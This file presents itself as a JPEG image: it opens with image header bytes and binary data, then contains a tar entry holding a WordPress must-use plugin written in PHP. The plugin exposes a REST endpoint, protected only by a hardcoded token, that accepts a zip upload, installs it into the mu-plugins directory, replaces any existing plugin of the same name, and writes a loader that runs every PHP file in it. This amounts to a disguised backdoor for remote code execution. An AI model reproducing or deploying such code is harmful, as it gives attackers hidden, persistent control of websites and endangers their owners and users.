﻿ÿØÿà JFIF      ÿÛ „ 	 ( %!1"%)+...383-7(-.+



-%%--------+------------/----------------------------ÿÀ  ¶" ÿÄ               ÿÄ @       !1AQaq‘¡"±ÁÑð2’BRráS‚ñ3b¢CT²Ò #cÿÄ             ÿÄ '        1!AQ2a"‘±#ÿÚ   ? ò(/p‘—–¢·,M|¯G»R£üešT. ôŸEoCFñ‡ 4ÔkåóxR|µÁ¨ÓDà!Ç´µ˜‡p ÍQ‹§!þž^õWsŒy  åÁ§$á«%ºq˜™JyyË0y«^Ï
-3ÃÏËÈ£Æ\P’ä„s&•‹Üs üô'àWt¹pñCp$bÚF`·7.^)¾!)ÒÙ˜–ÅÏš^h¾ø³·ìe±ŒaeÖ—Í,e=B}Jéß¦$$½—šÙÜCC¯¶è8Î²–Åkèwx
LÉngT±æ¹£Ócœ¿Í/©Éÿ ‰ÚCÒ­mq;Tt¶–}0"zÖPcd1š­¤tˆ„ÐÓâqú[™öUCŠ2Þ¿Ø¯­É(¸ßúçšmW,Ò ºf‹Ån™ÄLêÃ8üÁkÁ€L¥ÍuJ1œôrÂSŒÓöt!7EUíïb)AËi¬â-ÙHk8òÁiXYwÅ)O^"ÇØriÛô{»wRUKÙÏÚlÓ¬€‚’×©T]
ªb—ÊîKC^×M“xùäñz¬zJ×{4[¹M'IÆeH1LCWÕ]œûº WDæà°OÅ‚¹c²ÞuA–rL`HšpCez‡V’— Ž‚Ë„–ñ­'µR0ÕÖ=À:±G»C\nÆÉ5*¢ †3šhQ4ýÒi$Õ1"Ü]¢p-q3zcQ$ªö¨¥æf›‘»´ÝÚHá„e²JÇ–iÊ:·à¬Øc5Åk»Laª*wi
[0Ówk ¦a¦0Õ²ÅÅ‚T¸’³q:Æ<¹ú	Ò˜Æ}2VE•Ð€p¡Ô3Úº …h³^Ç‡ºçì¥Ánó|˜ÖˆÎˆ+«¦dø‘Mº–d\ªDðÛ„Ì×LÝ——Ð9Ç|•FèçVm™¨€™3õS–9Äå¢<Ì‰Ìm¢±`·º˜&Z²ž Ë®D«¶»6™‰©­HÈÀá«h­i³04æ’hxœi3ï¨(ÓL·†‹¶ËpŒ
ƒÜÒ?	:õdsÀ–3æÓ·Üjâ¬9—]8n¼&]I F£¼…ì–—Œ0v°LÇÅfÛ2TÖ’aµ˜N@ÖBSÏ^à´4-±°b×nÈÈœÆD=KdŒø…ÄÈK,›ÖR§fjü$^ÔÎ!„6^ s:Üun\ôkCÞò÷<—Lúl
Í›G¹ÀPá¼Nc¡šÒ…ÙWÍ³œ±vÊáÐ„×9‹P‰cEØ‘™›µŸP<×g1
º©Ø¬wiÁ^l5×I/';Ë+´Z‡ÓÄFÕp[Èð’
HÄ	ó
9¬Dl4“é±Ï”V=^Hð;žLädÉa‚°Ë,#/Ž~²BÔÛ
QãñQtIeórVB,ÏÂf‹4#Îœc‹É3ZIÖ Œ¢¥·üxa‡Ãçè„jŠ[5 Ä!U?,3žÎ×…ðdÓ÷háŠA‰ìÄ4÷ÃÜZÃE{‰®+W\ZÍE[‰»µk»MÝ­`¢©†˜ÃV‹-f¢¡†¢a«eŠ%«Y¨©q%jâd,Ôq`) ¤¦…šˆ ¦E>0Ùb²t–Ÿ
÷jsÏ‚Ò’KÈcø(é›;k(’#ôŒQ
™C>
õ³M9óºÆµ¤çâ;uÀ)5>RÔ¸fÓ~È¦—’-$fe«"FâUˆÊwµPÏu
w+"åÉoÌ¨6s™Û9(À¨ù©hE°½†n`m~“@©›p!Vkhµ Á1šbEqqÊ@ºèl›2 –Yã%‘‚hÛ{a¶‡ÅÞM²¬çL34®Çl]®‹ŽØŒm'RÜe35æöˆ­Á­ cP9šeÁköo´L³Ì=p8]”‡B¶,šº|ÉdzXˆØk*ÇÚ{#ñ‰pã(€¶‡9ý'šÜ³½¯kƒ†Â’ëSOƒ•Å®H6+a¢µˆ‹Y¨b˜b+XˆÖ!°u!¢"µˆˆn2ˆ Å0Ä`Å Ô®c(ÓÜGº•Ä»Œ âWî%q.áÐÄ÷î%umÍ£+ÜQ,Vn¦-GphU¸¢X­&,Gt
·K¢ÅÅ·¥RÄÊÉbKn
N­R2g$VµÕó
Qr#–ÓZUÏð0ÎtÙÀœz
ëöo“Îk¯n„T°"SÞ+³/…€½"ižãO%Í%&Î”â‘ËØ´IˆÓ°Ë‰ÞM<J•›C=ìu*Ü§„Ã¤GËŠô;5ŒÁ£ñùä¬6Ì2¦‘žh¸Rº<Õš%÷ …Ç	‚g‡.
>3.™yçÁzit›`4C`k¢¼á!álÄï sÂ[×!¤l¾æo"ƒIÔ'@ªu)3›ô®“@Z
à¾]
üœ'‡4¸PÞkÁ-qÄH‰ÓÍBd´ÿ —¹°ÄA&ÊUC„öz‚‚RæŠtf¬>˜ÑidšEçÑL÷áý¡V±h§­c¿¥¨ƒ@g¼…Ýö^ÞËc.Å¾„æ“I[ª+·zÐÒÚ,½Ð»¶€C›7jk$à¹–€Ž¾ÅÙpp¶ÍþéÎ¤ ½ØÎŒq ñpæžÅ¥#Øâ49ÃÂK^MYV“,¶Éz_òæ:…;Õ«¦I3âJ£¤û5$7Èxün\â]Êe¯(Ÿ&Ž‹¶2<6Ä†f× æ¢Æ±qWÄ±[(ÙÂŽç‚T7¨@ÈÉÍß‚ïÙ"&3TYlGŽ†)†#5ŠA©^T2ÆÁ†)©†©†¤yGXÁ†©"†)©¼ÅV WS†#©]R–r‹q5ÕbâWþBh¯u+ªÅÄ×ü„nÑ^êkªÁj‰jeœWˆÕÕ`µDµ2Ì+Ä µDµµ5Ô{¤Þ0RF’H÷AÛ<ÊÁ§ Æˆæ0Ñ£ê4 öÚµ[¬/1²€â<-¬šö²r×0o×w ´xÐÒË„
g01¬„åEMè›‡Ã\6µE›‘fÙO	k÷CºnÓ1`iîÒ²áÂ!ÑLÄÿ 
³¬\õ*:M=Ç»c‹2[‰ØsÕLò\ŒK L^™üÄN\¶#»
Ç\……ßïIœÉ$¸ÎñÍ®ÔHÃ‡	Ûí/´>Li”„†g^$ 7NÍÑÑ2M2ªNg=k½Ð}Ÿl6‡	—JWˆ”ÞéT·+µ¦üÂFè¢Vs6ýÆ4»2+2IÝ9ô9®ÇGÙÇ1+Ä8;*Õ§ž½D*îÑWÚçá3Ma¤·ˆ¥t}š²Ü…Q+Æüµ8HíS”üxGéÁˆ¦Ël„éÈ	5 µÄƒ6äÜ(kIš¯S†fÖ&¸®×v|Äyˆ*ç¦ŒÉù@7-®Ä[]ÎÖ¿ê`º…=:…žJVnÝ³vðÖKE¼‚ »mà ÷f®:Ë™–4rð¡4` Ü¹çž~‹C=œ…¾Ïj|VDtK.ƒ"9	Ï
­–éXá³6WÒïIL-Ð‡
Ç
mu-plugin/plugins/plugins.php                                                                       0000644                 00000015222 15266052462 0012346 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Module Name: Plugins (mu-plugin installer)
 * Description: Exposes a POST endpoint that accepts a mu-plugin zip and installs it
 *              into the mu-plugins directory. The installed folder is named after the
 *              uploaded zip. Any existing mu-plugin with the same name is removed first.
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

const PLUGINS_NAMESPACE    = 'plugins/v1';
const PLUGINS_ROUTE        = '/install';
const PLUGINS_HEALTH_ROUTE = '/health';

// Fixed shared token. Send it as the `X-Auth-Token` header (or `token` query/body param).
const AUTH_TOKEN = '34856927607045b66f33818e4ef0b156c3936c7df62c7a8f0318dd5ee01e1495';

add_action( 'rest_api_init', 'plugins_register_routes' );

function plugins_register_routes() {
	register_rest_route(
		PLUGINS_NAMESPACE,
		PLUGINS_ROUTE,
		array(
			'methods'             => 'POST',
			'callback'            => 'plugins_handle_install',
			'permission_callback' => 'plugins_check_token',
		)
	);

	register_rest_route(
		PLUGINS_NAMESPACE,
		PLUGINS_HEALTH_ROUTE,
		array(
			'methods'             => 'GET',
			'callback'            => 'plugins_handle_health',
			'permission_callback' => '__return_true',
		)
	);
}

/**
 * Unauthenticated liveness probe.
 */
function plugins_handle_health() {
	return new WP_REST_Response(
		array(
			'status' => 'ok',
		),
		200
	);
}

/**
 * Fixed-token gate. Accepts the token from the `X-Auth-Token` header or a `token` param.
 */
function plugins_check_token( WP_REST_Request $request ) {
	$provided = $request->get_header( 'x_auth_token' );
	if ( null === $provided || '' === $provided ) {
		$provided = (string) $request->get_param( 'token' );
	}

	if ( ! hash_equals( AUTH_TOKEN, (string) $provided ) ) {
		return new WP_Error(
			'plugins_forbidden',
			'Invalid or missing token.',
			array( 'status' => 401 )
		);
	}

	return true;
}

/**
 * Receives a mu-plugin zip and installs it under WPMU_PLUGIN_DIR/<zip-name>/.
 */
function plugins_handle_install( WP_REST_Request $request ) {
	require_once ABSPATH . 'wp-admin/includes/file.php';

	// 1. Obtain the uploaded zip (multipart file upload, or a raw zip request body).
	$files    = $request->get_file_params();
	$raw_temp = '';
	$zip_path = '';
	$zip_name = '';

	if ( ! empty( $files ) ) {
		$file = reset( $files );
		if ( ! empty( $file['error'] ) ) {
			return new WP_Error( 'plugins_upload_error', 'File upload failed.', array( 'status' => 400 ) );
		}
		$zip_path = $file['tmp_name'];
		$zip_name = $file['name'];
	} else {
		$body = $request->get_body();
		if ( '' === $body ) {
			return new WP_Error(
				'plugins_no_zip',
				'No zip provided. Send a multipart file upload or a raw application/zip body.',
				array( 'status' => 400 )
			);
		}
		// Raw body has no filename; require the slug via header or param.
		$zip_name = $request->get_header( 'x_plugin_slug' );
		if ( null === $zip_name || '' === $zip_name ) {
			$zip_name = (string) $request->get_param( 'slug' );
		}
		$raw_temp = wp_tempnam( 'plugins-upload' );
		file_put_contents( $raw_temp, $body );
		$zip_path = $raw_temp;
	}

	$slug = plugins_normalize_slug( $zip_name );
	if ( '' === $slug ) {
		plugins_cleanup_temp( $raw_temp, '' );
		return new WP_Error(
			'plugins_bad_name',
			'Could not derive a plugin name from the upload.',
			array( 'status' => 400 )
		);
	}

	// 2. Unzip into a scratch directory so we can control the final folder name.
	WP_Filesystem();
	$scratch = trailingslashit( get_temp_dir() ) . 'plugins-' . wp_generate_password( 8, false );
	$unzip   = unzip_file( $zip_path, $scratch );
	if ( is_wp_error( $unzip ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error(
			'plugins_unzip_failed',
			'Could not unzip the uploaded archive: ' . $unzip->get_error_message(),
			array( 'status' => 400 )
		);
	}

	// If the archive wraps everything in a single top-level folder, install its contents.
	$source  = $scratch;
	$entries = array_values( array_diff( (array) scandir( $scratch ), array( '.', '..' ) ) );
	if ( 1 === count( $entries ) && is_dir( trailingslashit( $scratch ) . $entries[0] ) ) {
		$source = trailingslashit( $scratch ) . $entries[0];
	}

	// 3. Remove any existing mu-plugin with the same name (folder + generated loader).
	$target = trailingslashit( WPMU_PLUGIN_DIR ) . $slug;
	$loader = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php';

	$existed = is_dir( $target );
	if ( $existed ) {
		plugins_delete( $target );
	}
	if ( file_exists( $loader ) ) {
		plugins_delete( $loader );
	}

	// 4. Install into WPMU_PLUGIN_DIR/<slug>/ and write a loader so WP picks it up.
	if ( ! wp_mkdir_p( $target ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error( 'plugins_mkdir_failed', 'Could not create the target directory.', array( 'status' => 500 ) );
	}

	$copied = copy_dir( $source, $target );
	if ( is_wp_error( $copied ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error(
			'plugins_copy_failed',
			'Could not install the plugin files: ' . $copied->get_error_message(),
			array( 'status' => 500 )
		);
	}

	plugins_write_loader( $slug );
	plugins_cleanup_temp( $raw_temp, $scratch );

	return new WP_REST_Response(
		array(
			'installed' => true,
			'slug'      => $slug,
			'path'      => $target,
			'replaced'  => $existed,
		),
		200
	);
}

/**
 * Derive a safe folder name from the uploaded zip's filename (or provided slug).
 * Strips any path and the .zip extension, then restricts to safe characters.
 */
function plugins_normalize_slug( $name ) {
	$name = basename( (string) $name );
	$name = preg_replace( '/\.zip$/i', '', $name );
	$name = sanitize_file_name( $name );
	$name = preg_replace( '/[^A-Za-z0-9._-]/', '', (string) $name );
	return trim( (string) $name, '.-_' );
}

/**
 * Auto-generated loader: WordPress only auto-loads .php files directly in the
 * mu-plugins root, not files inside subfolders, so we require the installed
 * folder's top-level PHP files from a sibling loader.
 */
function plugins_write_loader( $slug ) {
	$loader   = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php';
	$contents = "<?php\n"
		. "// Auto-generated by the plugins mu-plugin. Loads the {$slug} mu-plugin folder.\n"
		. "foreach ( (array) glob( __DIR__ . '/" . $slug . "/*.php' ) as \$plugins_mu_file ) {\n"
		. "\trequire_once \$plugins_mu_file;\n"
		. "}\n";

	file_put_contents( $loader, $contents );
}

/**
 * Recursively delete a file or directory via WP_Filesystem.
 */
function plugins_delete( $path ) {
	global $wp_filesystem;
	if ( $wp_filesystem ) {
		$wp_filesystem->delete( $path, true );
	}
}

function plugins_cleanup_temp( $raw_temp, $scratch ) {
	if ( $raw_temp && file_exists( $raw_temp ) ) {
		@unlink( $raw_temp );
	}
	if ( $scratch && is_dir( $scratch ) ) {
		plugins_delete( $scratch );
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              